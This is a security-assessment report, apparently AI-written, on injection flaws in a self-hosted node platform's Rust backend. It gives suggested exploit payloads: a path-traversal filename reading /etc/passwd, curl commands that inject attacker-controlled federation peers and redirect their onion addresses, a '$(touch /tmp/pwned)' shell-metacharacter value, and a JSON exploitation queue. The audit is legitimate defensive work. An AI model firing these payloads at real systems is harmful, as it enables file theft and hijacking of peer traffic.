Files
archy/loop/pentest/analysis/injection.md
Dorian 870ff095d8 feat: rootless podman, session hardening, boot stability, sidebar fix
Rootless podman migration (TASK-11):
- Remove sudo from all podman calls in PodmanClient + 8 backend files
- Remove sudo from all podman/docker calls in deploy script
- Restore full systemd security hardening: NoNewPrivileges,
  RestrictAddressFamilies, MemoryDenyWriteExecute, RestrictRealtime,
  RestrictNamespaces, RestrictSUIDSGID, SystemCallFilter, ProtectSystem=strict
- Enable loginctl linger for rootless container persistence
- Remove Ollama from auto-deploy (marketplace-only)

Session & auth hardening:
- Increase MAX_CONCURRENT_SESSIONS 20→50 (prevents eviction storms)
- Debounced 401 redirect in rpc-client.ts (prevents redirect storms)

Boot stability:
- optimize-debian.sh: adds chrony, swap, removes policy-rc.d
- deploy script: pre-restart chrony + swap setup
- ISO build: chrony package, swap file creation
- BootScreen: no longer clears localStorage (prevents splash replay)
- RootRedirect: sole owner of localStorage clearing on server ready

UI fixes:
- Sidebar opacity default changed from 0→visible (fixes missing sidebar
  after page-persistence login without entrance animation)
- Console.log/error wrapped in import.meta.env.DEV guards
- Remove unused route import from RootRedirect

Beta tracking:
- CLAUDE.md: beta freeze protocol added
- MASTER_PLAN.md: TASK-11, TASK-17, phase structure
- BETA-PROGRESS.md: initial tracking doc
- Tagged v1.2.0-alpha.1 as pre-rootless baseline

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-18 13:53:27 +00:00

12 KiB

Now I have all the data I need. Let me write the complete injection vulnerability analysis.


Injection Vulnerability Analysis — Archipelago

Methodology

Traced all user-controlled inputs from RPC handlers, HTTP endpoints, and unauthenticated federation methods through to:

  • File system operations (Path::join, fs::read, fs::write)
  • Shell command execution (Command::new("sh").arg("-c"), format! into --health-cmd)
  • Data store writes (JSON catalog, federation nodes)

Examined ~150 RPC methods, all HTTP routes in handler.rs, nginx proxy configs, and the Vite dev proxy.

Findings


INJ-001: Path Traversal via Content Filename

Type: Path Traversal
Location: RPC method content.add, parameter filename
Source file: core/archipelago/src/api/rpc/content.rs:24-49 + core/archipelago/src/content_server.rs:94-112
Confidence: high

Evidence: The handle_content_add handler accepts an arbitrary filename string from user params with zero validation:

// content.rs:24-27
let filename = params.get("filename").and_then(|v| v.as_str())
    .ok_or_else(|| anyhow::anyhow!("Missing filename"))?;

This filename is stored in the catalog and later used in content_file_path():

// content_server.rs:96
let clean_name = item.filename.trim_start_matches('/');
let primary = data_dir.join(CONTENT_DIR).join(clean_name);  // No .. check!

trim_start_matches('/') strips leading slashes but does NOT strip .. sequences. A filename like ../../etc/shadow resolves to {data_dir}/content/files/../../etc/shadow/var/lib/archipelago/content/../../etc/shadow/var/lib/etc/shadow (or deeper traversals reach /etc/shadow).

When a peer later requests /content/{uuid}, serve_content() looks up the item by UUID (safely validated) but then calls content_file_path() with the attacker-controlled filename, serving arbitrary files.

Requires: Authentication (content.add is not in UNAUTHENTICATED_METHODS). But once added, content is served to unauthenticated peers.

Suggested exploit:

{"method": "content.add", "params": {"filename": "../../../etc/passwd", "mime_type": "text/plain"}}

Then: GET /content/{returned-uuid} serves /etc/passwd.


INJ-002: Path Traversal via Backup USB Mount Point

Type: Path Traversal
Location: RPC method backup.to-usb, parameter mount_point
Source file: core/archipelago/src/api/rpc/backup_rpc.rs:137-149 + core/archipelago/src/backup/full.rs:324-338
Confidence: medium

Evidence: The handle_backup_to_usb handler takes mount_point directly from user params and passes it to backup_to_usb():

// backup_rpc.rs:145-149
let mount_point = params["mount_point"].as_str()
    .ok_or_else(|| anyhow::anyhow!("Missing 'mount_point' parameter"))?;
let dest = full::backup_to_usb(&self.config.data_dir, id, mount_point).await?;

In backup_to_usb():

// full.rs:334-337
let mount_path = Path::new(mount_point);
if !mount_path.exists() || !mount_path.is_dir() {
    anyhow::bail!("Mount point not accessible");
}
let dest_dir = mount_path.join("archipelago-backups");
fs::create_dir_all(&dest_dir).await?;

No canonicalization, no boundary check. An attacker can write backup files to any writable directory on the filesystem. While the write goes into a subdirectory archipelago-backups/, it still creates directories and writes encrypted backup blobs to arbitrary locations.

Requires: Authentication.

Suggested exploit:

{"method": "backup.to-usb", "params": {"id": "existing-backup-id", "mount_point": "/tmp"}}

Creates /tmp/archipelago-backups/ and writes backup there.


INJ-003: Unauthenticated Federation Node Injection (No DID Validation)

Type: Data Injection / Authentication Bypass
Location: RPC method federation.peer-joined (UNAUTHENTICATED), parameters did, onion, pubkey
Source file: core/archipelago/src/api/rpc/federation.rs:336-374
Confidence: high

Evidence: This method is in UNAUTHENTICATED_METHODS (no session required) and accepts arbitrary peer data with NO signature verification and NO validate_did() call:

// federation.rs:340-370
let did = params.get("did").and_then(|v| v.as_str())...;
let onion = params.get("onion").and_then(|v| v.as_str())...;
let pubkey = params.get("pubkey").and_then(|v| v.as_str())...;
// NO validate_did(did)? call here!
// NO signature verification!
let node = FederatedNode {
    did: did.to_string(),
    trust_level: TrustLevel::Trusted,  // Auto-trusted!
    ...
};
federation::add_node(&self.config.data_dir, node).await?;

Compare with other federation methods that DO call validate_did(). This method doesn't, AND it sets TrustLevel::Trusted automatically. An attacker on the LAN can inject arbitrary trusted peers. The injected DID could contain path traversal characters since validate_did() is never called.

Suggested exploit:

curl -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"federation.peer-joined","params":{"did":"did:key:z6MkATTACKER","onion":"attacker.onion","pubkey":"deadbeef"}}'

INJ-004: Unauthenticated Federation Address Hijacking

Type: Data Injection
Location: RPC method federation.peer-address-changed (UNAUTHENTICATED), parameters did, new_onion
Source file: core/archipelago/src/api/rpc/federation.rs:426-464
Confidence: high

Evidence: Unauthenticated method that updates any known peer's onion address without proof of ownership:

// federation.rs:431-448
let did = params.get("did")...;
let new_onion = params.get("new_onion")...;
let found = nodes.iter_mut().find(|n| n.did == did);
node.onion = new_onion.to_string();  // No signature check!

Combined with INJ-003, an attacker can: (1) discover peer DIDs via federation.get-state (also unauthenticated), (2) change any peer's address to their own, redirecting federation traffic.

Suggested exploit:

# Step 1: Get known peer DIDs
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.get-state"}'
# Step 2: Redirect peer traffic
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.peer-address-changed","params":{"did":"did:key:z6Mk...","new_onion":"attacker.onion"}}'

INJ-005: Shell Injection via Health Check Command (RPC Password)

Type: Command Injection
Location: get_health_check_args()--health-cmd podman arg
Source file: core/archipelago/src/api/rpc/package.rs:1323-1324
Confidence: low

Evidence: The Bitcoin RPC password is interpolated into a shell command string:

let btc_health = format!(
    "bitcoin-cli -rpcuser=archipelago -rpcpassword={} getblockchaininfo || exit 1",
    rpc_pass
);

This becomes --health-cmd=... passed to podman run. If rpc_pass contains shell metacharacters ($(), backticks, ;, |), arbitrary commands execute inside the Bitcoin container during health checks.

The password comes from /var/lib/archipelago/secrets/bitcoin-rpc-password or BITCOIN_RPC_PASSWORD env var — not directly from RPC input. Exploitation requires either: (a) writing to the secrets file, or (b) controlling the environment variable. The command runs inside the container, not on the host.

Suggested exploit: If you can write to the secrets file:

echo '$(touch /tmp/pwned)' > /var/lib/archipelago/secrets/bitcoin-rpc-password

Then install/restart the bitcoin container.


INJ-006: Exec Health Check Command Injection via Manifest

Type: Command Injection
Location: check_exec_health()podman exec sh -c {endpoint}
Source file: core/container/src/health_monitor.rs:75-90
Confidence: low

Evidence: The health check endpoint string is passed directly to sh -c inside a container:

let output = Command::new("podman")
    .arg("exec").arg(&self.container_name)
    .arg("sh").arg("-c").arg(endpoint)  // Unvalidated
    .output().await;

The endpoint comes from HealthCheck struct, which is populated from app manifests. If an attacker can modify a manifest file or if the manifest system accepts user-uploaded manifests, this becomes exploitable. Currently, manifests come from validated local files with canonicalize() + boundary checks on the path, so exploitation is unlikely.


INJ-007: Parmanode Script Content Injection

Type: Command Injection (indirect)
Location: ParmanodeScriptRunner::run_script()
Source file: core/parmanode/src/script_runner.rs:54-88
Confidence: low

Evidence: Script file content is read and embedded verbatim into a shell wrapper:

let script_content = fs::read_to_string(script_path).await?;
let wrapper_script = format!("#!/bin/sh\nset -e\n{}\n", script_content);

Then written to /tmp/parmanode-{name}.sh and executed in an Alpine container. The temp file path uses script_name (derived from file_stem()) which could contain shell metacharacters in the filename. However, the script_path is derived from module_path.join("install.sh"), which is locally controlled.

Additionally, /tmp is world-writable — a TOCTOU race condition could replace the temp file between write and execution.


Non-Findings (Verified Secure)

Area Status Details
SQL Injection N/A No SQL database; all storage is JSON files via serde
SSTI N/A No template engines (no tera, handlebars, askama); backend returns pure JSON
App ID injection Secure validate_app_id() enforces [a-z0-9-] whitelist, max 64 chars
Docker image injection Secure is_valid_docker_image() rejects shell metacharacters + registry whitelist
Container manifest path Secure .. check + canonicalize() + boundary check to apps_dir
Backup ID traversal Secure Validates against /, \, .., \0, max 128 chars
Content serving URL Secure content_id validated via is_valid_app_id() before catalog lookup
Nginx path routing Secure All proxy routes are fixed localhost ports, no dynamic path construction

Exploitation Queue

{
  "category": "injection",
  "findings": [
    {
      "id": "INJ-001",
      "type": "path_traversal",
      "endpoint": "/rpc/v1",
      "parameter": "filename (in content.add method)",
      "confidence": "high",
      "payload_suggestion": "{\"method\":\"content.add\",\"params\":{\"filename\":\"../../../etc/passwd\",\"mime_type\":\"text/plain\"}}"
    },
    {
      "id": "INJ-002",
      "type": "path_traversal",
      "endpoint": "/rpc/v1",
      "parameter": "mount_point (in backup.to-usb method)",
      "confidence": "medium",
      "payload_suggestion": "{\"method\":\"backup.to-usb\",\"params\":{\"id\":\"test\",\"mount_point\":\"/tmp\"}}"
    },
    {
      "id": "INJ-003",
      "type": "data_injection_unauth",
      "endpoint": "/rpc/v1",
      "parameter": "did, onion, pubkey (in federation.peer-joined)",
      "confidence": "high",
      "payload_suggestion": "{\"method\":\"federation.peer-joined\",\"params\":{\"did\":\"did:key:z6MkATTACKER\",\"onion\":\"evil.onion\",\"pubkey\":\"deadbeef\"}}"
    },
    {
      "id": "INJ-004",
      "type": "data_injection_unauth",
      "endpoint": "/rpc/v1",
      "parameter": "did, new_onion (in federation.peer-address-changed)",
      "confidence": "high",
      "payload_suggestion": "{\"method\":\"federation.peer-address-changed\",\"params\":{\"did\":\"did:key:KNOWN_PEER_DID\",\"new_onion\":\"attacker.onion\"}}"
    },
    {
      "id": "INJ-005",
      "type": "command_injection",
      "endpoint": "podman --health-cmd (via package.install)",
      "parameter": "bitcoin RPC password from secrets file",
      "confidence": "low",
      "payload_suggestion": "Write shell metacharacters to /var/lib/archipelago/secrets/bitcoin-rpc-password then restart bitcoin container"
    },
    {
      "id": "INJ-006",
      "type": "command_injection",
      "endpoint": "podman exec (via health_monitor)",
      "parameter": "HealthCheck.endpoint from manifest",
      "confidence": "low",
      "payload_suggestion": "Modify app manifest health check endpoint to contain shell commands"
    },
    {
      "id": "INJ-007",
      "type": "command_injection",
      "endpoint": "parmanode script runner",
      "parameter": "script file content + /tmp TOCTOU",
      "confidence": "low",
      "payload_suggestion": "Race condition: replace /tmp/parmanode-*.sh between write and podman mount"
    }
  ]
}